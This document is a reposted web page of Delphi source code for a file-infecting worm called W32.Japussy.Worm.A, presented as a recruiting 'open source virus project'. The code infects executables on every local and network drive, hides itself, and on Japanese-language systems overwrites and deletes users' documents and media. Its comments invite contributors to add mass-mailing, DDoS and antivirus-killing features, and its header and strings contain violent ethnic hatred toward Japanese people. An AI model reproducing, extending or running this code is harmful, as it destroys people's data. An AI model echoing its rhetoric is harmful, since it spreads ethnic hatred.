Crossbow病毒开放源代码计划

Crossbow病毒开放源代码计划 具体参见:http://crossbow.myrice.com/virus/ 如果您想加入计划,请写信至 crossbow@borlandsoft.com 申请加入,谢谢!
  1.   {   代码开始   }   
  2.   {**********************************************************************}   
  3.   {                                                                                                                                             }   
  4.   {                                     Crossbow   Virus   OpenSource   Project                                       }   
  5.   {                                                                                                                                             }   
  6.   {                               Copyright   (C)   1999-2003   Crossbow   [CHiNA]                               }   
  7.   {                                                                                                                                             }   
  8.   {   Taking   our   names   from   the   great   empire,   instinct-driven   face   of   the     }   
  9.   {   human   psyche,   Chinese   are,   by   general   acknowledgement,   the   smartest     }   
  10.   {   race   in   the   world.   Today,   the   sons   of   Qin   Empire   will   give   the   just     }   
  11.   {   punishment   to   those   lousy   japs,   the   mose   flagitious   race   of   the             }   
  12.   {   world,   the   biggest   enemy   of   all   Chinese.                                                           }   
  13.   {                                                                                                                                             }   
  14.   {   All   wrathful   brethren,   Unite!                                                                                 }   
  15.   {                                                                                                                                             }   
  16.   {   This   program   is   free   software;   you   can   redistribute   it   and/or   modify   }   
  17.   {   it   under   the   terms   of   the   GNU   General   Public   License   as   published   by   }   
  18.   {   the   Free   Software   Foundation;   either   version   2,   or   (at   your   option)     }   
  19.   {   any   later   version.                                                                                                       }   
  20.   {                                                                                                                                             }   
  21.   {                                             Crossbow病毒开放源代码计划                                             }   
  22.   {                                                                                                                                             }   
  23.   {                                 版权所有   (C)   1999-2003   Crossbow   [中国]                                 }   
  24.   {                                                                                                                                             }   
  25.   {   就像我们的名字来自于那个伟大的帝国一样,人类灵魂的本能所能公认的,       }   
  26.   {   中华民族,是全世界众所周知最聪明的民族。今天,大秦帝国的子孙们将给予   }   
  27.   {   中华民族的世代仇敌,那些卑劣猥琐的倭狗,世界上最无耻、最卑鄙、最残忍   }   
  28.   {   的民族以正义的惩罚。                                                                                                   }   
  29.   {                                                                                                                                             }   
  30.   {   愤怒的炎黄子孙们,团结起来!                                                                                   }   
  31.   {                                                                                                                                             }   
  32.   {   这份程序是自由软件,你可以在基于由自由软件基金会(Free   Software               }     
  33.   {   Foundation)   所发布之GNU通用公众协议(GNU   General   Public   License)的原     }   
  34.   {   则上再分发和/或修改它,或其后续版本。                                                                 }   
  35.   {                                                                                                                                             }   
  36.   {**********************************************************************}   
  37.     
  38.   {**********************************************************************}   
  39.   {   Name:                   W32.Japussy.Worm.A   Alpha   0.01                                                     }   
  40.   {   Date:                   2003/09/27                                                                                           }   
  41.   {   Compiler:           Delphi   5   or   later                                                                             }   
  42.   {   Contributors:   Sorted   by   Alphabet                                                                           }   
  43.   {                               Crossbow   [crossbow@borlandsoft.com]                                         }   
  44.   {   Total   1   person                                                                                                               }   
  45.   {                                                                                                                                             }   
  46.   {   名字:                   W32.Japussy.Worm.A   Alpha   0.01                                                     }   
  47.   {   日期:                   2003/09/27                                                                                           }   
  48.   {   编译器:               Delphi   5或更新                                                                                   }   
  49.   {   参与者:               以字母顺序排列                                                                                   }   
  50.   {                               Crossbow   [crossbow@borlandsoft.com]                                         }   
  51.   {   目前总共1人                                                                                                                     }   
  52.   {**********************************************************************}   
  53.   {**********************************************************************}   
  54.   {   待解决的问题:                                                                                                                 }   
  55.   {                                                                                                                                             }   
  56.   {   1.   WinNT下远程线程映射到Explorer进程                                                                   }   
  57.   {   1.   WinNT下获得管理员权限                                                                                           }   
  58.   {   2.   自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件                                       }   
  59.   {   3.   Base64编码,在保持不大幅增加病毒体大小的前提下                                         }   
  60.   {   4.   固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关                             }   
  61.   {   5.   能杀掉常见防火墙和杀毒软件进程                                                                         }   
  62.   {   6.   绝对磁盘扇区写操作,摧毁分区表和文件分配表                                                 }   
  63.   {**********************************************************************}   
  64.   {**********************************************************************}   
  65.   {   这份计划借鉴了SOJ老大的代码,并做了大量的修改和完善。Upx压缩过的病毒   }   
  66.   {   体只有38K,和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于     }   
  67.   {   没有修改入口点,目前Norton   AntiVirus   2001无法查出它。                                 }   
  68.   {                                                                                                                                             }   
  69.   {   我认为与其在论坛上对倭狗破口大骂,还不如做点实事。一来可以学习知识,   }   
  70.   {   提高水平,认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头,   }   
  71.   {   还是很惬意的。我的目标是感染1000万台以上的机器。                                           }   
  72.   {                                                                                                                                             }   
  73.   {   目前这个病毒还远远没有达到预定的设想,所以希望大家一起来完善它。如果   }     
  74.   {   可能,以后会用Win32Asm重写它。                                                                               }   
  75.   {                                                                                                                                             }   
  76.   {   这是一个公益计划,本着完全自愿开发的原则。希望大家在不影响工作的情况   }   
  77.   {   下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇     }   
  78.   {   病毒的代码和资料,我将不定期在CSDN上公布计划的进度。                                   }   
  79.   {                                                                                                                                             }   
  80.   {**********************************************************************}   
  81.     
  82.   {**********************************************************************}   
  83.   {   严重警告:                                                                                                                         }   
  84.   {                                                                                                                                             }   
  85.   {   !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!!   }   
  86.   {                                                                                                                                             }   
  87.   {   我们交流的是技术,展示的源代码和相关代码的目的只是为了说明技术的原理   }   
  88.   {   和使用。如果任何个人或组织利用本文档发布的技术进行破坏,应由其本人负   }   
  89.   {   责,与本计划的参与者无关!!!                                                                               }   
  90.   {                                                                                                                                             }   
  91.   {**********************************************************************}   
  92. program   Japussy;   
  93.     
  94.   uses   
  95.       Windows,   SysUtils,   Classes,   Graphics,   ShellAPI{,   Registry};   
  96.     
  97.   const   
  98.       HeaderSize   =   82432;                                     //病毒体的大小   
  99.       IconOffset   =   $12EB8;                                   //PE文件主图标的偏移量   
  100.         
  101.       //在我的Delphi5   SP1上面编译得到的大小,其它版本的Delphi可能不同   
  102.       //查找2800000020的十六进制字符串可以找到主图标的偏移量   
  103.           
  104.   {   
  105.       HeaderSize   =   38912;                                     //Upx压缩过病毒体的大小   
  106.       IconOffset   =   $92BC;                                     //Upx压缩过PE文件主图标的偏移量   
  107.         
  108.       //Upx   1.24W   用法:   upx   -9   --8086   Japussy.exe   
  109.   }   
  110.     
  111.       IconSize       =   $2E8;                                       //PE文件主图标的大小--744字节   
  112.       IconTail       =   IconOffset   +   IconSize;     //PE文件主图标的尾部   
  113.       ID                   =   $44444444;                             //感染标记   
  114.         
  115.       //垃圾码,以备写入   
  116.       Catchword   =   'If   a   race   need   to   be   killed   out,   it   must   be   Yamato.   '   +   
  117.                               'If   a   country   need   to   be   destroyed,   it   must   be   Japan!   '   +   
  118.                               '***   W32.Japussy.Worm.A   ***';   
  119.     
  120.   {$R   *.RES}   
  121.     
  122.   function   RegisterServiceProcess(dwProcessID,   dwType:   Integer):   Integer;     
  123.       stdcall;   external   'Kernel32.dll';   //函数声明   
  124.     
  125.   var   
  126.       TmpFile:   string;   
  127.       Si:             STARTUPINFO;   
  128.       Pi:             PROCESS_INFORMATION;   
  129.       IsJap:       Boolean   =   False;   //日文操作系统标记   
  130.     
  131.   {   判断是否为Win9x   }   
  132.   function   IsWin9x:   Boolean;   
  133.   var   
  134.       Ver:   TOSVersionInfo;   
  135.   begin   
  136.       Result   :=   False;   
  137.       Ver.dwOSVersionInfoSize   :=   SizeOf(TOSVersionInfo);   
  138.       if   not   GetVersionEx(Ver)   then   
  139.           Exit;   
  140.       if   (Ver.dwPlatformID   =   VER_PLATFORM_WIN32_WINDOWS)   then   //Win9x   
  141.           Result   :=   True;   
  142.   end;   
  143.     
  144.   {   在流之间复制   }   
  145.   procedure   CopyStream(Src:   TStream;   sStartPos:   Integer;   Dst:   TStream;   
  146.       dStartPos:   Integer;   Count:   Integer);   
  147.   var   
  148.       sCurPos,   dCurPos:   Integer;   
  149.   begin   
  150.       sCurPos   :=   Src.Position;   
  151.       dCurPos   :=   Dst.Position;   
  152.       Src.Seek(sStartPos,   0);   
  153.       Dst.Seek(dStartPos,   0);   
  154.       Dst.CopyFrom(Src,   Count);   
  155.       Src.Seek(sCurPos,   0);   
  156.       Dst.Seek(dCurPos,   0);   
  157.   end;   
  158. {   将宿主文件从已感染的PE文件中分离出来,以备使用   }   
  159.   procedure   ExtractFile(FileName:   string);   
  160.   var   
  161.       sStream,   dStream:   TFileStream;   
  162.   begin   
  163.       try   
  164.           sStream   :=   TFileStream.Create(ParamStr(0),   fmOpenRead   or   fmShareDenyNone);   
  165.           try   
  166.               dStream   :=   TFileStream.Create(FileName,   fmCreate);   
  167.               try   
  168.                   sStream.Seek(HeaderSize,   0);   //跳过头部的病毒部分   
  169.                   dStream.CopyFrom(sStream,   sStream.Size   -   HeaderSize);   
  170.               finally   
  171.                   dStream.Free;   
  172.               end;   
  173.           finally   
  174.               sStream.Free;   
  175.           end;   
  176.       except   
  177.       end;   
  178.   end;   
  179.     
  180.   {   填充STARTUPINFO结构   }   
  181.   procedure   FillStartupInfo(var   Si:   STARTUPINFO;   State:   Word);   
  182.   begin   
  183.       Si.cb   :=   SizeOf(Si);   
  184.       Si.lpReserved   :=   nil;   
  185.       Si.lpDesktop   :=   nil;   
  186.       Si.lpTitle   :=   nil;   
  187.       Si.dwFlags   :=   STARTF_USESHOWWINDOW;   
  188.       Si.wShowWindow   :=   State;   
  189.       Si.cbReserved2   :=   0;   
  190.       Si.lpReserved2   :=   nil;   
  191.   end;   
  192.     
  193.   {   发带毒邮件   }   
  194.   procedure   SendMail;   
  195.   begin   
  196.       //哪位仁兄愿意完成之?   
  197.   end;   
  198.     
  199.   {   感染PE文件   }   
  200.   procedure   InfectOneFile(FileName:   string);   
  201.   var   
  202.       HdrStream,   SrcStream:   TFileStream;   
  203.       IcoStream,   DstStream:   TMemoryStream;   
  204.       iID:   LongInt;   
  205.       aIcon:   TIcon;   
  206.       Infected,   IsPE:   Boolean;   
  207.       i:   Integer;   
  208.       Buf:   array[0..1]   of   Char;   
  209.   begin   
  210.       try   //出错则文件正在被使用,退出   
  211.           if   CompareText(FileName,   'JAPUSSY.EXE')   =   0   then   //是自己则不感染   
  212.               Exit;   
  213.           Infected   :=   False;   
  214.           IsPE           :=   False;   
  215.           SrcStream   :=   TFileStream.Create(FileName,   fmOpenRead);   
  216.           try   
  217.               for   i   :=   0   to   $108   do   //检查PE文件头   
  218.               begin   
  219.                   SrcStream.Seek(i,   soFromBeginning);   
  220.                   SrcStream.Read(Buf,   2);   
  221.                   if   (Buf[0]   =   #80)   and   (Buf[1]   =   #69)   then   //PE标记   
  222.                   begin   
  223.                       IsPE   :=   True;   //是PE文件   
  224.                       Break;   
  225.                   end;   
  226.               end;   
  227.               SrcStream.Seek(-4,   soFromEnd);   //检查感染标记   
  228.               SrcStream.Read(iID,   4);   
  229.               if   (iID   =   ID)   or   (SrcStream.Size   <   10240)   then   //太小的文件不感染   
  230.                   Infected   :=   True;   
  231.           finally   
  232.               SrcStream.Free;   
  233.           end;   
  234.           if   Infected   or   (not   IsPE)   then   //如果感染过了或不是PE文件则退出   
  235.               Exit;   
  236.           IcoStream   :=   TMemoryStream.Create;   
  237.           DstStream   :=   TMemoryStream.Create;   
  238.           try   
  239.               aIcon   :=   TIcon.Create;   
  240.               try   
  241.                   //得到被感染文件的主图标(744字节),存入流   
  242.                   aIcon.ReleaseHandle;   
  243.                   aIcon.Handle   :=   ExtractIcon(HInstance,   PChar(FileName),   0);   
  244.                   aIcon.SaveToStream(IcoStream);   
  245.               finally   
  246.                   aIcon.Free;   
  247.               end;   
  248.               SrcStream   :=   TFileStream.Create(FileName,   fmOpenRead);   
  249.               //头文件   
  250.               HdrStream   :=   TFileStream.Create(ParamStr(0),   fmOpenRead   or   fmShareDenyNone);   
  251.               try   
  252.                   //写入病毒体主图标之前的数据   
  253.                   CopyStream(HdrStream,   0,   DstStream,   0,   IconOffset);   
  254.                   //写入目前程序的主图标   
  255.                   CopyStream(IcoStream,   22,   DstStream,   IconOffset,   IconSize);   
  256.                   //写入病毒体主图标到病毒体尾部之间的数据   
  257.                   CopyStream(HdrStream,   IconTail,   DstStream,   IconTail,   HeaderSize   -   IconTail);   
  258.                   //写入宿主程序   
  259.                   CopyStream(SrcStream,   0,   DstStream,   HeaderSize,   SrcStream.Size);   
  260.                   //写入已感染的标记   
  261.                   DstStream.Seek(0,   2);   
  262.                   iID   :=   $44444444;   
  263.                   DstStream.Write(iID,   4);   
  264.               finally   
  265.                   HdrStream.Free;   
  266.               end;   
  267.           finally   
  268.               SrcStream.Free;   
  269.               IcoStream.Free;   
  270.               DstStream.SaveToFile(FileName);   //替换宿主文件   
  271.               DstStream.Free;   
  272.           end;   
  273.       except;   
  274.       end;   
  275.   end;   
  276. {   将目标文件写入垃圾码后删除   }   
  277.   procedure   SmashFile(FileName:   string);   
  278.   var   
  279.       FileHandle:   Integer;   
  280.       i,   Size,   Mass,   Max,   Len:   Integer;   
  281.   begin   
  282.       try   
  283.           SetFileAttributes(PChar(FileName),   0);   //去掉只读属性   
  284.           FileHandle   :=   FileOpen(FileName,   fmOpenWrite);   //打开文件   
  285.           try   
  286.               Size   :=   GetFileSize(FileHandle,   nil);   //文件大小   
  287.               i   :=   0;   
  288.               Randomize;   
  289.               Max   :=   Random(15);   //写入垃圾码的随机次数   
  290.               if   Max   <   5   then   
  291.                   Max   :=   5;   
  292.               Mass   :=   Size   div   Max;   //每个间隔块的大小   
  293.               Len   :=   Length(Catchword);   
  294.               while   i   <   Max   do   
  295.               begin   
  296.                   FileSeek(FileHandle,   i   *   Mass,   0);   //定位   
  297.                   //写入垃圾码,将文件彻底破坏掉   
  298.                   FileWrite(FileHandle,   Catchword,   Len);   
  299.                   Inc(i);   
  300.               end;   
  301.           finally   
  302.               FileClose(FileHandle);   //关闭文件   
  303.           end;   
  304.           DeleteFile(PChar(FileName));   //删除之   
  305.       except   
  306.       end;   
  307.   end;   
  308.     
  309.   {   获得可写的驱动器列表   }   
  310.   function   GetDrives:   string;   
  311.   var   
  312.       DiskType:   Word;   
  313.       D:   Char;   
  314.       Str:   string;   
  315.       i:   Integer;   
  316.   begin   
  317.       for   i   :=   0   to   25   do   //遍历26个字母   
  318.       begin   
  319.           D   :=   Chr(i   +   65);   
  320.           Str   :=   D   +   ':/';   
  321.           DiskType   :=   GetDriveType(PChar(Str));   
  322.           //得到本地磁盘和网络盘   
  323.           if   (DiskType   =   DRIVE_FIXED)   or   (DiskType   =   DRIVE_REMOTE)   then   
  324.               Result   :=   Result   +   D;   
  325.       end;   
  326.   end;   
  327.     
  328.   {   遍历目录,感染和摧毁文件   }   
  329.   procedure   LoopFiles(Path,   Mask:   string);   
  330.   var   
  331.       i,   Count:   Integer;   
  332.       Fn,   Ext:   string;   
  333.       SubDir:   TStrings;   
  334.       SearchRec:   TSearchRec;   
  335.       Msg:   TMsg;   
  336.       function   IsValidDir(SearchRec:   TSearchRec):   Integer;   
  337.       begin   
  338.           if   (SearchRec.Attr   <>   16)   and     (SearchRec.Name   <>   '.')   and   
  339.               (SearchRec.Name   <>   '..')   then   
  340.               Result   :=   0   //不是目录   
  341.           else   if   (SearchRec.Attr   =   16)   and     (SearchRec.Name   <>   '.')   and   
  342.               (SearchRec.Name   <>   '..')   then   
  343.                   Result   :=   1   //不是根目录   
  344.           else   Result   :=   2;   //是根目录   
  345.       end;   
  346.   begin   
  347.       if   (FindFirst(Path   +   Mask,   faAnyFile,   SearchRec)   =   0)   then   
  348.       begin   
  349.           repeat   
  350.               PeekMessage(Msg,   0,   0,   0,   PM_REMOVE);   //调整消息队列,避免引起怀疑   
  351.               if   IsValidDir(SearchRec)   =   0   then   
  352.               begin   
  353.                   Fn   :=   Path   +   SearchRec.Name;   
  354.                   Ext   :=   UpperCase(ExtractFileExt(Fn));   
  355.                   if   (Ext   =   '.EXE')   or   (Ext   =   '.SCR')   then   
  356.                   begin   
  357.                       InfectOneFile(Fn);   //感染可执行文件                   
  358.                   end   
  359.                   else   if   (Ext   =   '.HTM')   or   (Ext   =   '.HTML')   or   (Ext   =   '.ASP')   then   
  360.                   begin   
  361.                       //感染HTML和ASP文件,将Base64编码后的病毒写入   
  362.                       //感染浏览此网页的所有用户   
  363.                       //哪位大兄弟愿意完成之?   
  364.                   end   
  365.                   else   if   Ext   =   '.WAB'   then   //Outlook地址簿文件   
  366.                   begin   
  367.                       //获取Outlook邮件地址   
  368.                   end   
  369.                   else   if   Ext   =   '.ADC'   then   //Foxmail地址自动完成文件   
  370.                   begin   
  371.                       //获取Foxmail邮件地址   
  372.                   end   
  373.                   else   if   Ext   =   'IND'   then   //Foxmail地址簿文件   
  374.                   begin   
  375.                       //获取Foxmail邮件地址   
  376.                   end   
  377.                   else     
  378.                   begin   
  379.                       if   IsJap   then   //是倭文操作系统   
  380.                       begin   
  381.                           if   (Ext   =   '.DOC')   or   (Ext   =   '.XLS')   or   (Ext   =   '.MDB')   or   
  382.                               (Ext   =   '.MP3')   or   (Ext   =   '.RM')   or   (Ext   =   '.RA')   or   
  383.                               (Ext   =   '.WMA')   or   (Ext   =   '.ZIP')   or   (Ext   =   '.RAR')   or   
  384.                               (Ext   =   '.MPEG')   or   (Ext   =   '.ASF')   or   (Ext   =   '.JPG')   or   
  385.                               (Ext   =   '.JPEG')   or   (Ext   =   '.GIF')   or   (Ext   =   '.SWF')   or   
  386.                               (Ext   =   '.PDF')   or   (Ext   =   '.CHM')   or   (Ext   =   '.AVI')   then   
  387.                                   SmashFile(Fn);   //摧毁文件   
  388.                       end;   
  389.                   end;   
  390.               end;   
  391.               //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑   
  392.               Sleep(200);   
  393.           until   (FindNext(SearchRec)   <>   0);   
  394.       end;   
  395.       FindClose(SearchRec);   
  396.       SubDir   :=   TStringList.Create;   
  397.       if   (FindFirst(Path   +   '*.*',   faDirectory,   SearchRec)   =   0)   then   
  398.       begin   
  399.           repeat   
  400.               if   IsValidDir(SearchRec)   =   1   then   
  401.                   SubDir.Add(SearchRec.Name);   
  402.           until   (FindNext(SearchRec)   <>   0);   
  403.           end;   
  404.       FindClose(SearchRec);   
  405.       Count   :=   SubDir.Count   -   1;   
  406.       for   i   :=   0   to   Count   do   
  407.           LoopFiles(Path   +   SubDir.Strings[i]   +   '/',   Mask);   
  408.       FreeAndNil(SubDir);   
  409.   end;   
  410.     
  411.   {   遍历磁盘上所有的文件   }   
  412.   procedure   InfectFiles;   
  413.   var   
  414.       DriverList:   string;   
  415.       i,   Len:   Integer;   
  416.   begin   
  417.       if   GetACP   =   932   then   //日文操作系统   
  418.           IsJap   :=   True;   //去死吧!   
  419.       DriverList   :=   GetDrives;   //得到可写的磁盘列表   
  420.       Len   :=   Length(DriverList);   
  421.       while   True   do   //死循环   
  422.       begin   
  423.           for   i   :=   Len   downto   1   do   //遍历每个磁盘驱动器   
  424.               LoopFiles(DriverList[i]   +   ':/',   '*.*');   //感染之   
  425.           SendMail;   //发带毒邮件   
  426.           Sleep(1000   *   60   *   5);   //睡眠5分钟   
  427.       end;   
  428.   end;   
  429.     
  430.   {   主程序开始   }   
  431.   begin   
  432.       if   IsWin9x   then   //是Win9x   
  433.           RegisterServiceProcess(GetCurrentProcessID,   1)   //注册为服务进程   
  434.       else   //WinNT   
  435.       begin   
  436.           //远程线程映射到Explorer进程   
  437.           //哪位兄台愿意完成之?   
  438.       end;   
  439.       //如果是原始病毒体自己   
  440.       if   CompareText(ExtractFileName(ParamStr(0)),   'Japussy.exe')   =   0   then   
  441.           InfectFiles   //感染和发邮件   
  442.       else   //已寄生于宿主程序上了,开始工作   
  443.       begin   
  444.           TmpFile   :=   ParamStr(0);   //创建临时文件   
  445.           Delete(TmpFile,   Length(TmpFile)   -   4,   4);   
  446.           TmpFile   :=   TmpFile   +   #32   +   '.exe';   //真正的宿主文件,多一个空格   
  447.           ExtractFile(TmpFile);   //分离之   
  448.           FillStartupInfo(Si,   SW_SHOWDEFAULT);   
  449.           CreateProcess(PChar(TmpFile),   PChar(TmpFile),   nil,   nil,   True,   
  450.               0,   nil,   '.',   Si,   Pi);   //创建新进程运行之   
  451.           InfectFiles;   //感染和发邮件   
  452.       end;   
  453.   end.
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值